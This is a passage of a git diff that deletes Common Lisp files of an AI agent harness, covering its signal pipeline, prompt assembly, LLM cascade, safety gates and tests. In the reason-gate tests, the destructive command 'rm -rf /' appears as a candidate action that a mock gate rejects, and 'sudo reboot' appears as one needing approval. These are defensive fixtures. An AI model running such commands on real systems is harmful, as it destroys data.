((descriptions nil)) - (maphash (lambda (k tool) - (declare (ignore k)) - (push (format nil "- ~a: ~a~% Parameters: ~a~%" - (cognitive-tool-name tool) - (cognitive-tool-description tool) - (cognitive-tool-parameters tool)) - descriptions)) - *cognitive-tool-registry*) - (if descriptions - (format nil "Available tools:~%~a" (apply #'concatenate 'string (sort descriptions #'string<))) - "No tools registered."))) - -;; Alias: generate-tool-belt-prompt → cognitive-tool-prompt -(defun generate-tool-belt-prompt () - (cognitive-tool-prompt)) - -(defun tool-read-only-p (name) - "Returns T if the named cognitive tool is read-only, NIL otherwise." - (let ((tool (gethash (string-downcase (string name)) *cognitive-tool-registry*))) - (when tool - (cognitive-tool-read-only-p tool)))) - -(defun log-message (msg &rest args) - "Centralized, thread-safe logging for the harness." - (let ((formatted-msg (apply #'format nil msg args))) - (bordeaux-threads:with-lock-held (*log-lock*) - (push formatted-msg *log-buffer*) - (when (> (length *log-buffer*) *log-limit*) - (setq *log-buffer* (subseq *log-buffer* 0 *log-limit*)))) - (format t "~a~%" formatted-msg) - (finish-output))) - -(setf *debugger-hook* (lambda (condition hook) - "Friendly error handler - shows diagnostic message instead of raw debugger." - (declare (ignore hook)) - (format t "~%") - (format t "┌─────────────────────────────────────────────┐~%") - (format t "│ ERROR: ~A~%" (type-of condition)) - (format t "│~%") - (format t "│ Run: passepartout diagnostics~%") - (format t "│ For system diagnostics~%") - (format t "└─────────────────────────────────────────────┘~%") - (format t "~%") - (format t "Details: ~A~%" condition) - (format t "Backtrace:~%") - (sb-debug:print-backtrace :count 20 :stream *standard-output*) - (finish-output) - (uiop:quit 1))) diff --git a/lisp/core-perceive.lisp b/lisp/core-perceive.lisp deleted file mode 100644 index 5b20ada..0000000 --- a/lisp/core-perceive.lisp +++ /dev/null @@ -1,159 +0,0 @@ -(in-package :passepartout) - -(defvar *loop-interrupt* nil) - -(defvar *scope-resolver* nil - "If set, function returning current scope keyword. Used by perceive gate.") - -(defvar *loop-async-sensors* '(:chat-message :delegation :user-command) - "Sensors that are processed in dedicated threads.") - -(defvar *loop-focus-id* nil - "The Org ID of the node the user is currently interacting with.") - -(defvar *pre-reason-handlers* (make-hash-table :test 'eq) - "Pre-reason handler registry: sensor keyword → handler function.") - -(defun register-pre-reason-handler (sensor fn) - "Registers FN to handle signals with SENSOR in the perceive gate. -FN receives (signal) and returns T if consumed, nil to continue." - (setf (gethash sensor *pre-reason-handlers*) fn)) - -(defun stimulus-inject (raw-message &key stream (depth 0)) - "Inject a raw message into the signal processing pipeline." - (let* ((payload (getf raw-message :payload)) - (sensor (getf payload :sensor)) - (meta (getf raw-message :meta)) - (async-p (or (getf payload :async-p) - (member sensor *loop-async-sensors*)))) - - (unless meta - (setf meta (list :SOURCE :SYSTEM :SESSION-ID "internal"))) - - (when stream - (setf (getf meta :reply-stream) stream)) - - (setf (getf raw-message :meta) meta) - (setf (getf raw-message :depth) depth) - - (if async-p - (bt:make-thread - (lambda () - (restart-case (process-signal raw-message) - (skip-event () nil))) - :name "passepartout-async-task") - - (restart-case - (handler-bind ((error (lambda (c) - (log-message "SYSTEM ERROR: ~a" c) - (invoke-restart 'skip-event)))) - (process-signal raw-message)) - (skip-event () - (log-message "SYSTEM RECOVERY: Stimulus dropped.")))))) - -(defun loop-gate-perceive (signal) - "Stage 1 of the metabolic pipeline: Normalize sensory input." - (let* ((payload (getf signal :payload)) - (type (getf signal :type)) - (meta (getf signal :meta)) - (sensor (getf payload :sensor))) - ;; HITL: intercept approval/denial commands before LLM processing - (when (and (eq sensor :user-input) - (stringp (getf payload :text))) - (let ((text (getf payload :text))) - (when (ignore-errors (hitl-handle-message text (getf meta :source))) - (log-message "GATE [Perceive]: HITL command processed — ~a" text) - (return-from loop-gate-perceive signal)))) - ;; Pre-reason handlers: dispatch custom sensors to registered skill handlers - (let ((handler (gethash sensor *pre-reason-handlers*))) - (when handler - (when (funcall handler signal) - (return-from loop-gate-perceive signal)))) - - (log-message "GATE [Perceive]: ~a (~a) [Source: ~s]" - type (or sensor "no-sensor") (getf meta :source)) - - (cond ((eq type :EVENT) - (case sensor - (:buffer-update - (let ((ast (getf payload :ast))) - (when ast - (snapshot-memory) - (ingest-ast ast :scope (if *scope-resolver* (funcall *scope-resolver*) :memex))))) - (:point-update - (let ((element (getf payload :element))) - (when element - (snapshot-memory) - (setf *loop-focus-id* (getf element :id)) - (ingest-ast element :scope (if *scope-resolver* (funcall *scope-resolver*) :memex))))) - (:interrupt - (setf *loop-interrupt* t)) - ;; v0.7.2 undo/redo - (:undo - (log-message "GATE [Perceive]: undo requested") - (undo "perceive")) - (:redo - (log-message "GATE [Perceive]: redo requested") - (redo "perceive")) - ;; HITL: re-injected approved action from dispatcher-approvals-process - (:approval-required - (when (getf payload :approved) - (log-message "GATE [Perceive]: Approved Flight Plan re-injected") - (setf (getf signal :approved) t) - (setf (getf signal :approved-action) (getf payload :action)))) - ;; Default sensor: pass through without requiring user-input processing - (otherwise - (log-message "GATE [Perceive]: Unknown sensor ~a, passing through" sensor)))) - ((eq type :RESPONSE) - (log-message "GATE [Perceive]: Act Result -> ~a" (getf payload :status)))) - - (setf (getf signal :status) :perceived) - (setf (getf signal :foveal-focus) *loop-focus-id*) - signal)) - -(defun perceive-gate (signal) - (loop-gate-perceive signal)) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-pipeline-perceive-tests - (:use :cl :fiveam :passepartout) - (:export #:pipeline-perceive-suite)) - -(in-package :passepartout-pipeline-perceive-tests) - -(def-suite pipeline-perceive-suite :description "Test suite for Perceive pipeline") -(in-suite pipeline-perceive-suite) - -(test test-loop-gate-perceive - "Contract 1: :buffer-update ingests AST and sets :perceived status." - (clrhash passepartout::*memory-store*) - (let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil)))) - (result (loop-gate-perceive signal))) - (is (eq :perceived (getf result :status))) - (is (not (null (gethash "test-node" passepartout::*memory-store*)))))) - -(test test-depth-limiting - "Edge: depth 11 signals are rejected by the pipeline." - (let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat)))) - (is (null (process-signal runaway-signal))))) - -(test test-loop-gate-perceive-unknown-sensor - "Contract 1: unknown sensors pass through and reach :perceived." - (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :custom-metric))) - (result (loop-gate-perceive signal))) - (is (eq :perceived (getf result :status))))) - -(test test-loop-gate-perceive-no-ast - "Contract 1: :buffer-update without AST doesn't crash, reaches :perceived." - (clrhash passepartout::*memory-store*) - (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :buffer-update))) - (result (loop-gate-perceive signal))) - (is (eq :perceived (getf result :status))))) - -(test test-depth-limiting-normal - "Contract 1: signals at normal depth pass through without rejection." - (let ((normal-signal (list :type :EVENT :depth 5 :payload (list :sensor :heartbeat)))) - (is (not (eq :rejected (getf normal-signal :status))) - "Signal at normal depth should not be rejected"))) diff --git a/lisp/core-pipeline.lisp b/lisp/core-pipeline.lisp deleted file mode 100644 index 18905f3..0000000 --- a/lisp/core-pipeline.lisp +++ /dev/null @@ -1,235 +0,0 @@ -(in-package :passepartout) - -(define-condition passepartout-error (error) - ((message :initarg :message :reader error-message)) - (:report (lambda (c s) (format s "Passepartout error: ~a" (error-message c)))) - (:documentation "Root of the pipeline error hierarchy.")) - -(define-condition pipeline-error (passepartout-error) - ((signal :initarg :signal :reader pipeline-error-signal :initform nil)) - (:report (lambda (c s) (format s "Pipeline error: ~a" (error-message c)))) - (:documentation "Any error during the Perceive→Reason→Act cycle.")) - -(define-condition llm-error (pipeline-error) - ((provider :initarg :provider :reader llm-error-provider) - (cascade :initarg :cascade :reader llm-error-cascade :initform nil) - (attempt-count :initarg :attempt-count :reader llm-error-attempt-count :initform 0)) - (:report (lambda (c s) (format s "LLM error (~a): ~a" (llm-error-provider c) (error-message c)))) - (:documentation "LLM provider failure: timeout, cascade exhaustion, or API error.")) - -(define-condition gate-error (pipeline-error) - ((gate-name :initarg :gate-name :reader gate-error-gate-name) - (rejected-action :initarg :rejected-action :reader gate-error-rejected-action)) - (:report (lambda (c s) (format s "Gate ~a blocked action: ~a" (gate-error-gate-name c) (error-message c)))) - (:documentation "Deterministic gate blocked a proposed action.")) - -(define-condition budget-error (pipeline-error) - ((remaining :initarg :remaining :reader budget-error-remaining :initform 0.0) - (requested :initarg :requested :reader budget-error-requested :initform 0.0)) - (:report (lambda (c s) (format s "Budget exhausted: $~,4f remaining, $~,4f requested" (budget-error-remaining c) (budget-error-requested c)))) - (:documentation "Session budget cap has been reached.")) - -(define-condition protocol-error (passepartout-error) - ((raw-message :initarg :raw-message :reader protocol-error-raw-message :initform nil)) - (:report (lambda (c s) (format s "Protocol error: ~a" (error-message c)))) - (:documentation "Malformed message, framing failure, or schema violation.")) - -(defvar *interrupt-flag* nil - "Atomic flag set by signal handlers to trigger graceful shutdown.") - -(defvar *loop-interrupt-lock* (bt:make-lock "harness-interrupt-lock") - "Mutex protecting *interrupt-flag* access.") - -(defvar *heartbeat-thread* nil - "Handle to the heartbeat thread.") - -(defun loop-process (signal) - "The entry point to the Metabolic Pipeline: Perceive -> Reason -> Act." - (let ((current-signal signal)) - (loop while current-signal do - (let ((depth (getf current-signal :depth 0)) - (meta (getf current-signal :meta))) - (when (> depth 10) - (log-message "METABOLISM ERROR: Max recursion depth reached.") - (return nil)) - - (when (bt:with-lock-held (*loop-interrupt-lock*) *interrupt-flag*) - (log-message "METABOLISM: Interrupted by shutdown signal.") - (return nil)) - - (restart-case - (handler-bind - ((pipeline-error (lambda (c) - (log-message "PIPELINE ERROR: ~a" (error-message c))))) - (handler-case - (progn - (setf current-signal (perceive-gate current-signal)) - (setf current-signal (reason-gate current-signal)) - (let ((feedback (act-gate current-signal))) - (if feedback - (progn - (unless (getf feedback :meta) (setf (getf feedback :meta) meta)) - (setf current-signal feedback)) - (setf current-signal nil)))) - (error (c) - (let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor)))) - (log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c) - (unless (member sensor '(:loop-error :tool-error :syntax-error)) - (log-message "CRITICAL ERROR: Initiating Micro-Rollback.") - (rollback-memory 0)) - (if (or (> depth 2) (member sensor '(:loop-error :tool-error))) - (setf current-signal nil) - (setf current-signal - (list :type :EVENT :depth (1+ depth) :meta meta - :payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth)))))))) - (skip-signal () - :report "Drop the current signal and continue the loop." - (setf current-signal nil)) - (use-fallback (text) - :report "Inject a canned response instead of the LLM result." - (setf current-signal - (list :type :EVENT :depth (1+ depth) :meta meta - :payload (list :sensor :loop-error :message text :depth depth)))) - (abort-pipeline () - :report "Terminate the cognitive cycle cleanly." - (return nil))))))) - -(defun process-signal (signal) - (loop-process signal)) - -(defvar *memory-auto-save-interval* 300) - -(defvar *heartbeat-save-counter* 0) - -(defun heartbeat-start () - "Starts the background heartbeat thread." - (let ((interval (or (ignore-errors (parse-integer (uiop:getenv "HEARTBEAT_INTERVAL"))) 60)) - (auto-save (or (ignore-errors (parse-integer (uiop:getenv "MEMORY_AUTO_SAVE_INTERVAL"))) *memory-auto-save-interval*))) - (setf *memory-auto-save-interval* auto-save) - (setf *heartbeat-save-counter* 0) - - (setf *heartbeat-thread* - (bt:make-thread - (lambda () - (loop - (sleep interval) - (incf *heartbeat-save-counter*) - (when (>= *heartbeat-save-counter* (/ *memory-auto-save-interval* interval)) - (setf *heartbeat-save-counter* 0) - (save-memory-to-disk)) - (stimulus-inject - (list :type :EVENT :payload (list :sensor :heartbeat :unix-time (get-universal-time)))))) - :name "passepartout-heartbeat")))) - -(defvar *shutdown-save-enabled* t) - -(defvar *system-health* :unknown - "Current system health status: :healthy, :degraded, :unhealthy, or :unknown.") - -(defvar *health-check-ran* nil - "Flag indicating if initial health check has completed.") - -(defun diagnostics-startup-run () - "Runs the doctor diagnostics on startup. Returns health status." - (format t "~%") - (format t "==================================================~%") - (format t " DOCTOR: Running Startup Health Check~%") - (format t "==================================================~%") - (handler-case - (progn - (when (fboundp 'diagnostics-run-all) - (let ((result (diagnostics-run-all :auto-install nil))) - (setf *health-check-ran* t) - (if result - (progn - (setf *system-health* :healthy) - (format t "DAEMON: Health check passed. Starting services.~%")) - (progn - (setf *system-health* :degraded) - (format t "DAEMON: Health check found issues.~%") - (format t " Run 'passepartout diagnostics' to repair.~%"))))) - (setf *health-check-ran* t)) - (error (c) - (format t "DIAGNOSTICS ERROR: ~a~%" c) - (setf *system-health* :unhealthy) - (setf *health-check-ran* t))) - (format t "==================================================~%~%")) - -(defun main () - "Entry point for Passepartout. Initializes the system and enters idle loop." - (let* ((home (uiop:getenv "HOME")) - (env-file (uiop:merge-pathnames* ".config/passepartout/.env" (uiop:ensure-directory-pathname home)))) - (when (uiop:file-exists-p env-file) - (cl-dotenv:load-env env-file))) - - (load-memory-from-disk) - (actuator-initialize) - (skill-initialize-all) - - ;; Run proactive diagnostics before starting services - (diagnostics-startup-run) - - (when (fboundp 'events-start-heartbeat) - (events-start-heartbeat)) - (handler-case (start-daemon) - (error (c) - (log-message "DAEMON: Failed to start — ~a" c) - (format *error-output* "~&DAEMON: Failed to start — ~a~%" c))) - - #+sbcl - (sb-sys:enable-interrupt sb-unix:sigint - (lambda (sig code scp) - (declare (ignore sig code scp)) - (log-message "SHUTDOWN: SIGINT received. Saving memory...") - (when *shutdown-save-enabled* (save-memory-to-disk)) - (uiop:quit 0))) - - (let ((sleep-interval (or (ignore-errors (parse-integer (uiop:getenv "DAEMON_SLEEP_INTERVAL"))) 3600))) - (loop - (when (bt:with-lock-held (*loop-interrupt-lock*) *interrupt-flag*) - (log-message "SHUTDOWN: Interrupt flag set. Saving memory...") - (when *shutdown-save-enabled* (save-memory-to-disk)) - (return)) - (sleep sleep-interval)))) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-immune-system-tests - (:use :cl :fiveam :passepartout) - (:export #:immune-suite)) - -(in-package :passepartout-immune-system-tests) - -(def-suite immune-suite :description "Verification of the Immune System (Core Error Hooks)") -(in-suite immune-suite) - -(test loop-error-injection - "Contract 1: a crash in think/decide triggers :loop-error stimulus." - (clrhash passepartout::*skill-registry*) - (passepartout:defskill :evil-skill - :priority 100 - :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input)) - :probabilistic (lambda (ctx) (declare (ignore ctx)) (error "CRITICAL BRAIN FAILURE")) - :deterministic nil) - (passepartout:loop-process '(:type :EVENT :payload (:sensor :user-input))) - (let ((logs (if (fboundp 'passepartout::context-get-system-logs) - (passepartout:context-get-system-logs 20) - nil))) - (is (or (null logs) ; no log service available — degraded but not broken - (not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs))))))) - -(test test-process-signal-normal-path - "Contract 1: a valid signal passes through the pipeline without crash." - (clrhash passepartout::*skill-registry*) - (handler-case - (let ((signal (list :type :EVENT :depth 0 :payload (list :sensor :heartbeat)))) - (process-signal signal) - (pass)) - (error (c) - (fail "Pipeline crashed on normal signal: ~a" c)))) - -(test test-loop-process-returns-nil-on-deep - "Contract 1: depth > 10 returns nil from loop-process." - (let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat))))) - (is (null result)))) diff --git a/lisp/core-reason.lisp b/lisp/core-reason.lisp deleted file mode 100644 index 74f39f0..0000000 --- a/lisp/core-reason.lisp +++ /dev/null @@ -1,508 +0,0 @@ -(in-package :passepartout) - -(defvar *probabilistic-backends* (make-hash-table :test 'equal) - "Maps provider keyword → handler function (prompt system-prompt &key model).") - -(defun register-probabilistic-backend (name fn) - "Register FN as the handler for provider NAME." - (setf (gethash name *probabilistic-backends*) fn)) - -(defvar *provider-cascade* nil) - -(defvar *model-selector* nil) - -(defvar *consensus-enabled* nil) - -(defun backend-cascade-call (prompt &key - (system-prompt "You are the Probabilistic engine.") - (cascade nil) - (context nil) - tools) - (let ((backends (or cascade *provider-cascade*)) - (result nil)) - (dolist (backend backends (or result - (list :type :LOG - :payload (list :text "Neural Cascade Failure: All providers exhausted.")))) - (let ((backend-fn (gethash backend *probabilistic-backends*))) - (when backend-fn - (log-message "PROBABILISTIC: Attempting backend ~a..." backend) - (let* ((model (and *model-selector* - (funcall *model-selector* backend context))) - (skip (eq model :skip)) - (r (unless skip - (apply backend-fn - (append (list prompt system-prompt :model model) - (when tools (list :tools tools))))))) - (when skip - (log-message "PROBABILISTIC: Skipping ~a (filtered)" backend)) - (cond ((and (listp r) (eq (getf r :status) :success)) - (let ((tool-calls (getf r :tool-calls))) - (if tool-calls - (return (list :status :success :tool-calls tool-calls)) - (progn - (setf result (getf r :content)) - (return result))))) - ((stringp r) - (setf result r) - (return result)) - (t - (log-message "PROBABILISTIC: Backend ~a failed: ~a" - backend (getf r :message)))))))))) - -(defun markdown-strip (text) - (if (and text (stringp text)) - (let ((cleaned text)) - (setf cleaned (cl-ppcre:regex-replace-all "^```[a-z]*\\n" cleaned "")) - (setf cleaned (cl-ppcre:regex-replace-all "\\n```$" cleaned "")) - (setf cleaned (cl-ppcre:regex-replace-all "```" cleaned "")) - (string-trim '(#\Space #\Newline #\Tab) cleaned)) - text)) - -(defun plist-keywords-normalize (plist) - (when (listp plist) - (loop for (k v) on plist by #'cddr - collect (if (and (symbolp k) (not (keywordp k))) - (intern (string k) :keyword) - k) - collect v))) - -;; v0.7.2: live config section for system prompt -(defun assemble-config-section () - "Build the CONFIG section of the system prompt from live state." - (let ((provider-names "") - (context-window (if (and (boundp '*tokenizer-provider*) (fboundp 'tokenizer-context-limit)) - (tokenizer-context-limit (symbol-value '*tokenizer-provider*)) - 8192)) - (gate-count 10) - (rules-count 0)) - (when (boundp '*provider-cascade*) - (setf provider-names - (format nil "~{~a~^, ~}" - (mapcar (lambda (p) - (handler-case (or (getf p :model) (getf p :provider) "") - (error () (princ-to-string p)))) - (symbol-value '*provider-cascade*))))) - (when (boundp '*hitl-pending*) - (setf rules-count (hash-table-count (symbol-value '*hitl-pending*)))) - (format nil "CONFIG: You are Passepartout v0.7.2. Provider: ~a. Context: ~d tokens. Security gates: ~d active. Rules learned: ~d. Documentation: USER_MANUAL.org." - (if (string= provider-names "") "default" provider-names) - context-window gate-count rules-count))) - -(defun think-assemble-prompt (context) - "Phase 2-3 of the metabolic cycle: context + system prompt assembly. -Returns three values: system-prompt, raw-prompt, reply-stream." - (let* ((sensor (proto-get (proto-get context :payload) :sensor)) - (active-skill (find-triggered-skill context)) - (tool-belt (generate-tool-belt-prompt)) - (reply-stream (proto-get context :reply-stream)) - (global-context (if (fboundp 'context-assemble-cached) - (context-assemble-cached context sensor) - (if (fboundp 'context-assemble-global-awareness) - (context-assemble-global-awareness) - "[Awareness skill not loaded]"))) - (system-logs (if (fboundp 'context-get-system-logs) - (context-get-system-logs) - "[No system logs available]")) - (assistant-name (or (uiop:getenv "MEMEX_ASSISTANT") "Agent")) - (rejection-trace (proto-get (proto-get context :payload) :rejection-trace)) - (prompt-generator (when active-skill (skill-probabilistic-prompt active-skill))) - (raw-prompt (if prompt-generator - (funcall prompt-generator context) - (let ((p (proto-get (proto-get context :payload) :text))) - (if (and p (stringp p)) p "Maintain metabolic stasis.")))) - (reflection-feedback (if rejection-trace - (format nil "~%~%PREVIOUS PROPOSAL REJECTED: ~a" rejection-trace) - "")) - (standing-mandates-text (let ((out "")) - (dolist (fn *standing-mandates*) - (let ((text (ignore-errors (funcall fn context)))) - (when (and text (stringp text) (> (length text) 0)) - (setf out (concatenate 'string out text (string #\Newline)))))) - (when (> (length out) 0) out))) - (identity-content (if (fboundp 'agent-identity) - (agent-identity) - "")) - (config-section (if (fboundp 'assemble-config-section) - (assemble-config-section) - "")) - (time-section (if (fboundp 'sensor-time-duration) - (format-time-for-llm - :session-duration-seconds (funcall (symbol-function 'session-duration))) - (if (fboundp 'format-time-for-llm) - (format-time-for-llm) - ""))) - (system-prompt (if (fboundp 'prompt-prefix-cached) - (let* ((prefix (prompt-prefix-cached assistant-name identity-content - reflection-feedback - standing-mandates-text tool-belt))) - (if (fboundp 'enforce-token-budget) - (multiple-value-bind (pfx ctxt logs _ mandates) - (enforce-token-budget prefix global-context system-logs - raw-prompt standing-mandates-text) - (declare (ignore _)) - (setf standing-mandates-text mandates) - (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a" - time-section config-section pfx (or ctxt "") logs)) - (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a" - time-section config-section prefix (or global-context "") system-logs))) - (format nil "~a~%~%~a~%~%IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a" - time-section config-section - assistant-name identity-content reflection-feedback - (if standing-mandates-text - (concatenate 'string (string #\Newline) standing-mandates-text) - "") - tool-belt (or global-context "") system-logs)))) - (values system-prompt raw-prompt reply-stream))) - -(defun think-call-llm (raw-prompt system-prompt reply-stream context) - "Phase 4 of the metabolic cycle: call the LLM via streaming or batch cascade. -Returns the raw LLM response (string or plist with :tool-calls)." - ;; v0.5.0 deferred: budget enforcement — refuse calls when cap is exhausted - (when (and (fboundp 'budget-exhausted-p) (budget-exhausted-p)) - (return-from think-call-llm (budget-exhaustion-message))) - (if (and reply-stream (fboundp 'cascade-stream)) - (let ((acc (make-string-output-stream))) - (funcall 'cascade-stream raw-prompt system-prompt - (lambda (delta) - (when reply-stream - (format reply-stream "~a" - (frame-message (list :type :stream-chunk - :payload (list :text delta)))) - (finish-output reply-stream)) - (write-string delta acc))) - (get-output-stream-string acc)) - (backend-cascade-call raw-prompt - :system-prompt system-prompt - :context context))) - -(defun think-parse-response (thought) - "Phases 5-7 of the metabolic cycle: cost tracking + response parsing. -Returns an action plist ready for cognitive-verify." - (let ((tool-calls (and (listp thought) (getf thought :tool-calls)))) - (when (and (fboundp 'cost-track-backend-call) - (stringp thought) - (or (null tool-calls))) - (ignore-errors - (cost-track-backend-call (first *provider-cascade*) - thought))) - (if tool-calls - (let* ((first-call (car tool-calls)) - (tool-name (getf first-call :name)) - (args (getf first-call :arguments)) - (args-plist (json-alist-to-plist args))) - (list :TYPE :REQUEST - :PAYLOAD (list* :TOOL tool-name - :ARGS args-plist - :EXPLANATION "Generated by function-calling engine."))) - (let* ((cleaned (if (and (listp thought) (getf thought :type)) - (format nil "~a" (getf (getf thought :payload) :text)) - (markdown-strip thought)))) - (if (and cleaned (stringp cleaned) (> (length cleaned) 0) - (or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[))) - (handler-case - (let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned)))) - (if (listp parsed) - (let ((normalized (plist-keywords-normalize parsed))) - (let ((payload (proto-get normalized :payload))) - (if (and payload (proto-get payload :explanation)) - normalized - (let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine." - (if (listp payload) payload nil)))) - (list* :PAYLOAD new-payload - (loop for (k v) on normalized by #'cddr - unless (eq k :PAYLOAD) - collect k collect v)))))) - (list :TYPE :REQUEST :PAYLOAD - (list :ACTION :MESSAGE :TEXT cleaned - :EXPLANATION "Generated by the Probabilistic engine.")))) - (error () - (list :TYPE :REQUEST :PAYLOAD - (list :ACTION :MESSAGE :TEXT cleaned - :EXPLANATION "Generated by the Probabilistic engine.")))) - (list :TYPE :REQUEST :PAYLOAD - (list :ACTION :MESSAGE - :TEXT (if (stringp cleaned) cleaned "No response") - :EXPLANATION "Generated by the Probabilistic engine."))))))) - -(defun think (context) - "The probabilistic reasoning engine — orchestrates prompt assembly, LLM call, -and response parsing into an action plist for cognitive-verify." - (when (fboundp 'snapshot-memory) - (snapshot-memory)) - (multiple-value-bind (system-prompt raw-prompt reply-stream) - (think-assemble-prompt context) - (let ((thought (think-call-llm raw-prompt system-prompt reply-stream context))) - (think-parse-response thought)))) - -(defun json-alist-to-plist (alist) - "Convert a JSON alist to a keyword-prefixed plist." - (when (listp alist) - (loop for (key . value) in alist - append (list (intern (string-upcase (string key)) :keyword) - (if (listp value) - (if (consp (car value)) - (json-alist-to-plist value) - value) - value))))) - -(defun cognitive-verify (proposed-action context) - "Runs all registered deterministic gates against the proposed action, -sorted by priority (highest first). Returns a rejection plist or the action." - (let ((current-action (copy-tree proposed-action)) - (approval-needed nil) - (approval-action nil) - (gates nil) - (gate-trace nil)) - ;; Collect gates sorted by priority (highest first) - (maphash (lambda (name skill) - (declare (ignore name)) - (when (skill-deterministic-fn skill) - (push (cons (skill-priority skill) (cons (skill-name skill) (skill-deterministic-fn skill))) gates))) - *skill-registry*) - (setf gates (sort gates #'> :key #'car)) - (dolist (gate-entry gates) - (let* ((gate-name (cadr gate-entry)) - (result (funcall (cddr gate-entry) current-action context))) - (cond - ((eq (getf result :level) :approval-required) - (push (list :gate (or gate-name (car gate-entry)) :result :approval) gate-trace) - (setf approval-needed t - approval-action (getf (getf result :payload) :action))) - ((member (getf result :type) '(:LOG :EVENT)) - (push (list :gate (or gate-name (car gate-entry)) :result :blocked) gate-trace) - (let ((blocked-result (copy-list result))) - (setf (getf blocked-result :gate-trace) (nreverse gate-trace)) - (return-from cognitive-verify blocked-result))) - ((and (listp result) result) - (push (list :gate (or gate-name (car gate-entry)) :result :passed) gate-trace) - (setf current-action result))))) - (if approval-needed - (list :type :EVENT :level :approval-required - :gate-trace (nreverse gate-trace) - :payload (list :sensor :approval-required - :action approval-action)) - (let ((passed-result (copy-tree current-action))) - (setf (getf passed-result :gate-trace) (nreverse gate-trace)) - passed-result)))) - -(defun loop-gate-reason (signal) - (let* ((type (proto-get signal :type)) - (payload (proto-get signal :payload)) - (sensor (proto-get payload :sensor))) - (unless (and (eq type :EVENT) (member sensor '(:user-input :chat-message))) - (return-from loop-gate-reason signal)) - (let ((retries 3) - (current-signal (copy-tree signal)) - (last-rejection nil)) - (loop - (when (<= retries 0) - (setf (getf signal :approved-action) last-rejection) - (setf (getf signal :status) :reasoned) - (return signal)) - (when last-rejection - (setf (getf (getf current-signal :payload) :rejection-trace) last-rejection)) - (let ((candidate (think current-signal))) - (if (and candidate (listp candidate)) - (let ((verified (cognitive-verify candidate current-signal))) - ;; Approval-required is not a rejection — pass to act for Flight Plan - (if (eq (getf verified :level) :approval-required) - (progn - (setf (getf signal :approved-action) verified) - (setf (getf signal :status) :requires-approval) - (return signal)) - ;; Hard rejection: retry with feedback - (if (member (getf verified :type) '(:LOG :EVENT)) - (progn (decf retries) (setf last-rejection verified)) - (progn - (setf (getf signal :approved-action) verified) - (setf (getf signal :status) :reasoned) - (return signal))))) - (progn - (setf (getf signal :approved-action) nil) - (setf (getf signal :status) :reasoned) - (return signal)))))))) - -(defun reason-gate (signal) - (loop-gate-reason signal)) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-pipeline-reason-tests - (:use :cl :fiveam :passepartout) - (:export #:pipeline-reason-suite)) - -(in-package :passepartout-pipeline-reason-tests) - -(def-suite pipeline-reason-suite :description "Test suite for Reason pipeline") -(in-suite pipeline-reason-suite) - -(test test-decide-gate-safety - "Contract 1: cognitive-verify blocks unsafe actions with :LOG rejection." - (clrhash passepartout::*skill-registry*) - (passepartout::defskill :mock-safety - :priority 50 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic (lambda (action ctx) - (declare (ignore ctx)) - (if (search "rm -rf" (format nil "~s" action)) - (list :type :LOG :payload (list :text "Rejected")) - action))) - (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "rm -rf /"))) - (signal '(:type :EVENT :payload (:sensor :user-input))) - (result (cognitive-verify candidate signal))) - (is (eq :LOG (getf result :type))))) - -(test test-cognitive-verify-pass-through - "Contract 1: safe actions pass through cognitive-verify unchanged." - (clrhash passepartout::*skill-registry*) - (passepartout::defskill :mock-passthrough - :priority 50 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic (lambda (action ctx) - (declare (ignore ctx)) - action)) - (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "echo hello"))) - (signal '(:type :EVENT :payload (:sensor :user-input))) - (result (cognitive-verify candidate signal))) - (is (eq :REQUEST (getf result :type))) - (is (equal (getf candidate :payload) (getf result :payload))) - (is (getf result :gate-trace)))) - -(test test-cognitive-verify-empty-registry - "Contract 1: with no gates registered, action passes through unchanged." - (clrhash passepartout::*skill-registry*) - (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "ls"))) - (signal '(:type :EVENT :payload (:sensor :user-input))) - (result (cognitive-verify candidate signal))) - (is (eq :REQUEST (getf result :type))) - (is (equal (getf candidate :payload) (getf result :payload))))) - -(test test-cognitive-verify-approval-required - "Contract 1: gate returning :approval-required produces an approval event." - (clrhash passepartout::*skill-registry*) - (passepartout::defskill :mock-approval - :priority 50 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic (lambda (action ctx) - (declare (ignore ctx)) - (list :type :EVENT :level :approval-required - :payload (list :action action)))) - (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "sudo reboot"))) - (signal '(:type :EVENT :payload (:sensor :user-input))) - (result (cognitive-verify candidate signal))) - (is (eq :approval-required (getf result :level))) - (is (eq :EVENT (getf result :type))))) - -(test test-loop-gate-reason-passthrough - "Contract 2: non-user-input sensors pass through loop-gate-reason unchanged." - (let* ((signal '(:type :EVENT :payload (:sensor :heartbeat) :meta (:source :system))) - (result (loop-gate-reason signal))) - (is (not (null result))))) - -(test test-loop-gate-reason-sets-status - "Contract 2: loop-gate-reason sets :status on :user-input signals." - (clrhash 